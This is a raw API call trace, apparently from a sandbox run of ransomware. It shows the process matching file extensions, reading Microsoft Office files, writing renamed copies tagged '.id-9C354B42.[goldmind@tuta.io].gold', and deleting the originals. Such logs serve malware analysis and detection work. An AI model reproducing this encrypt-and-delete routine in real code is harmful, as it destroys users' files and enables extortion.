[0109.854] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString=".dbf") returned 4 [0109.854] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString=".1cd") returned 4 [0109.854] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString=".jpg") returned 4 [0109.854] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.854] lstrlenW (lpString=".doc") returned 4 [0109.854] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.854] lstrlenW (lpString=".docx") returned 5 [0109.855] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0109.855] lstrlenW (lpString=".pdf") returned 4 [0109.855] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.855] lstrlenW (lpString=".xls") returned 4 [0109.855] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.855] lstrlenW (lpString=".xlsx") returned 5 [0109.855] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0109.855] lstrlenW (lpString=".ppt") returned 4 [0109.855] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.855] lstrlenW (lpString=".zip") returned 4 [0109.855] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.855] lstrlenW (lpString=".rar") returned 4 [0109.855] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.855] lstrlenW (lpString=".bz2") returned 4 [0109.855] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.855] lstrlenW (lpString=".7z") returned 3 [0109.855] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.855] lstrlenW (lpString=".dbf") returned 4 [0109.855] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.855] lstrlenW (lpString=".1cd") returned 4 [0109.855] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0109.855] lstrlenW (lpString=".jpg") returned 4 [0109.855] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.855] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.855] lstrlenW (lpString="OUTLVBA.DLL") returned 11 [0109.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.857] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=80760) returned 1 [0109.857] CloseHandle (hObject=0x38c) returned 1 [0109.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll")) returned 0x20 [0109.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString=".doc") returned 4 [0109.858] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString=".docx") returned 5 [0109.858] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0109.858] lstrlenW (lpString=".pdf") returned 4 [0109.858] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString=".xls") returned 4 [0109.858] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString=".xlsx") returned 5 [0109.858] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0109.858] lstrlenW (lpString=".ppt") returned 4 [0109.858] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString=".zip") returned 4 [0109.858] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString=".rar") returned 4 [0109.858] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString=".bz2") returned 4 [0109.858] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.858] lstrlenW (lpString=".7z") returned 3 [0109.858] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString=".dbf") returned 4 [0109.858] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString=".1cd") returned 4 [0109.858] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString=".jpg") returned 4 [0109.858] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.858] lstrlenW (lpString=".doc") returned 4 [0109.858] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.858] lstrlenW (lpString=".docx") returned 5 [0109.858] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0109.858] lstrlenW (lpString=".pdf") returned 4 [0109.858] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.859] lstrlenW (lpString=".xls") returned 4 [0109.859] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.859] lstrlenW (lpString=".xlsx") returned 5 [0109.859] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0109.859] lstrlenW (lpString=".ppt") returned 4 [0109.859] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.859] lstrlenW (lpString=".zip") returned 4 [0109.859] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.859] lstrlenW (lpString=".rar") returned 4 [0109.859] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.859] lstrlenW (lpString=".bz2") returned 4 [0109.859] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.859] lstrlenW (lpString=".7z") returned 3 [0109.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.859] lstrlenW (lpString=".dbf") returned 4 [0109.859] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.859] lstrlenW (lpString=".1cd") returned 4 [0109.859] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0109.859] lstrlenW (lpString=".jpg") returned 4 [0109.859] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.859] lstrcmpiW (lpString1=".ECF", lpString2=".gold") returned -1 [0109.859] lstrlenW (lpString="PMAILEXT.ECF") returned 12 [0109.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.860] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=626) returned 1 [0109.860] CloseHandle (hObject=0x38c) returned 1 [0109.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 0x20 [0109.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.861] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.861] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0109.864] GetLastError () returned 0x0 [0109.864] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x272, lpOverlapped=0x0) returned 1 [0109.989] WriteFile (in: hFile=0x3c4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x280, lpOverlapped=0x0) returned 1 [0109.990] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.990] WriteFile (in: hFile=0x3c4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.990] SetEndOfFile (hFile=0x3c4) returned 1 [0109.990] CloseHandle (hObject=0x3c4) returned 1 [0109.990] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.990] SetEndOfFile (hFile=0x38c) returned 1 [0109.992] CloseHandle (hObject=0x38c) returned 1 [0109.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString=".doc") returned 4 [0110.051] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0110.051] lstrlenW (lpString=".docx") returned 5 [0110.051] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0110.051] lstrlenW (lpString=".pdf") returned 4 [0110.051] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0110.051] lstrlenW (lpString=".xls") returned 4 [0110.051] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0110.051] lstrlenW (lpString=".xlsx") returned 5 [0110.051] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0110.051] lstrlenW (lpString=".ppt") returned 4 [0110.051] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString=".zip") returned 4 [0110.051] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0110.051] lstrlenW (lpString=".rar") returned 4 [0110.051] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0110.051] lstrlenW (lpString=".bz2") returned 4 [0110.051] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0110.051] lstrlenW (lpString=".7z") returned 3 [0110.051] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString=".dbf") returned 4 [0110.051] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString=".1cd") returned 4 [0110.051] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString=".jpg") returned 4 [0110.051] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.051] lstrlenW (lpString=".doc") returned 4 [0110.051] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0110.051] lstrlenW (lpString=".docx") returned 5 [0110.051] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0110.052] lstrlenW (lpString=".pdf") returned 4 [0110.052] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0110.052] lstrlenW (lpString=".xls") returned 4 [0110.052] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0110.052] lstrlenW (lpString=".xlsx") returned 5 [0110.052] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0110.052] lstrlenW (lpString=".ppt") returned 4 [0110.052] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0110.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.052] lstrlenW (lpString=".zip") returned 4 [0110.052] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0110.052] lstrlenW (lpString=".rar") returned 4 [0110.052] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0110.052] lstrlenW (lpString=".bz2") returned 4 [0110.052] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0110.052] lstrlenW (lpString=".7z") returned 3 [0110.052] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0110.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.052] lstrlenW (lpString=".dbf") returned 4 [0110.052] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0110.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.052] lstrlenW (lpString=".1cd") returned 4 [0110.052] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0110.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0110.052] lstrlenW (lpString=".jpg") returned 4 [0110.052] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0110.052] lstrcmpiW (lpString1=".man", lpString2=".gold") returned 1 [0110.052] lstrlenW (lpString="BCSEvents.man") returned 13 [0110.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.053] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=36177) returned 1 [0110.053] CloseHandle (hObject=0x3b4) returned 1 [0110.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 0x20 [0110.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.056] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.056] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.056] GetLastError () returned 0x0 [0110.056] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x8d51, lpOverlapped=0x0) returned 1 [0110.058] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x8d60, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x8d60, lpOverlapped=0x0) returned 1 [0110.059] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.059] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xee, lpOverlapped=0x0) returned 1 [0110.059] SetEndOfFile (hFile=0x394) returned 1 [0110.059] CloseHandle (hObject=0x394) returned 1 [0110.059] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.060] SetEndOfFile (hFile=0x3b4) returned 1 [0110.061] CloseHandle (hObject=0x3b4) returned 1 [0110.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 1 [0110.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString=".doc") returned 4 [0110.063] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0110.063] lstrlenW (lpString=".docx") returned 5 [0110.063] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0110.063] lstrlenW (lpString=".pdf") returned 4 [0110.063] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".xls") returned 4 [0110.063] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".xlsx") returned 5 [0110.063] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0110.063] lstrlenW (lpString=".ppt") returned 4 [0110.063] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString=".zip") returned 4 [0110.063] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".rar") returned 4 [0110.063] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".bz2") returned 4 [0110.063] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0110.063] lstrlenW (lpString=".7z") returned 3 [0110.063] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString=".dbf") returned 4 [0110.063] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString=".1cd") returned 4 [0110.063] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString=".jpg") returned 4 [0110.063] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString=".doc") returned 4 [0110.063] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0110.063] lstrlenW (lpString=".docx") returned 5 [0110.063] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0110.063] lstrlenW (lpString=".pdf") returned 4 [0110.063] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".xls") returned 4 [0110.063] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".xlsx") returned 5 [0110.063] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0110.063] lstrlenW (lpString=".ppt") returned 4 [0110.063] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.063] lstrlenW (lpString=".zip") returned 4 [0110.063] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".rar") returned 4 [0110.063] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0110.063] lstrlenW (lpString=".bz2") returned 4 [0110.063] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0110.063] lstrlenW (lpString=".7z") returned 3 [0110.063] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0110.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.064] lstrlenW (lpString=".dbf") returned 4 [0110.064] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0110.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.064] lstrlenW (lpString=".1cd") returned 4 [0110.064] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0110.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0110.064] lstrlenW (lpString=".jpg") returned 4 [0110.064] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0110.064] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.064] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0110.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.065] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=70528) returned 1 [0110.065] CloseHandle (hObject=0x3b4) returned 1 [0110.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll")) returned 0x20 [0110.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), 